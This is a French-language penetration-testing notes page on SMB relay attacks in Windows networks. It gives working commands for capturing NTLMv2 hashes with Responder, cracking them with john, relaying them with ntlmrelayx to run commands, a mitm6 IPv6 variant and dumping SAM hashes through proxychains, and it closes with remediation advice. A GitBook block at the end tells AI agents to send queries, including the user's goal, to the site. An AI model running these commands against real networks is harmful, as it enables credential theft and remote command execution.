> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/windows-vulnerabilities/smb-relay-in-windows-environments.md).
# Relais SMB dans les environnements Windows
Le relais SMB capture l’authentification NTLM et la relaie vers un autre hôte lorsque la signature SMB n’est pas requise. Ce flux de travail est destiné à des laboratoires Windows autorisés et à des évaluations internes.
## Conditions à vérifier
* La signature SMB n’est requise sur au moins une cible.
* Le compte capturé dispose d’un accès utile sur une cible de relais.
* Les serveurs SMB et HTTP de Responder sont désactivés lorsque `ntlmrelayx` gère le relais.
* Les cibles de relais sont répertoriées dans `targets.txt`.
## Capturer NTLMv2 avec Responder
```bash
python3 /usr/share/responder/Responder.py -I ens33 -w -d
```
Les réseaux Windows génèrent souvent une authentification automatique via l’inventaire des logiciels, les tâches d’administration, l’accès aux partages et la résolution de noms.
## Craquage hors ligne
```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hashes
```
## Énumération SMB
```bash
crackmapexec smb 192.168.71.0/24
```
Validez les droits du compte :
```bash
crackmapexec smb 192.168.71.0/24 -u '' -p ''
```
## Relais avec ntlmrelayx
Désactivez SMB et HTTP dans `Responder.conf`, puis exécutez Responder :
```bash
python3 /usr/share/responder/Responder.py -I ens33 -w -d
```
Démarrez le relais :
```bash
ntlmrelayx.py -tf targets.txt -smb2support
```
## Validation de l’exécution de commandes via relais
Lorsque l’exécution de commandes est dans le périmètre, validez d’abord le relais avec une commande à faible impact :
```bash
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"
```
Pour une preuve plus claire, écrivez le contexte d’exécution dans un fichier temporaire sur la cible du relais :
```bash
ntlmrelayx.py -tf targets.txt -smb2support -c "cmd /c whoami > C:\Windows\Temp\relay-check.txt"
```
## Variante IPv6 avec mitm6
```bash
mitm6 -d j0rdan.local
```
Relais IPv6 :
```bash
ntlmrelayx.py -6 -wh 192.168.71.128 -t smb://192.168.71.151 -socks -debug -smb2support
```
Utilisez le relais via le proxy :
```bash
proxychains cme smb 192.168.71.151 -u '' -p '' -d '' --sam
```
## Points clés
* Le relais SMB dépend principalement du fait que la signature SMB ne soit pas requise.
* Responder et `ntlmrelayx` doivent être configurés de sorte à ne pas entrer en concurrence pour le trafic SMB ou HTTP.
* Corrigez en exigeant la signature SMB, en réduisant l’utilisation de NTLM, en surveillant l’abus de LLMNR/NBNS/WPAD et en limitant les droits d’administrateur local.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/fr/windows-vulnerabilities/smb-relay-in-windows-environments.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.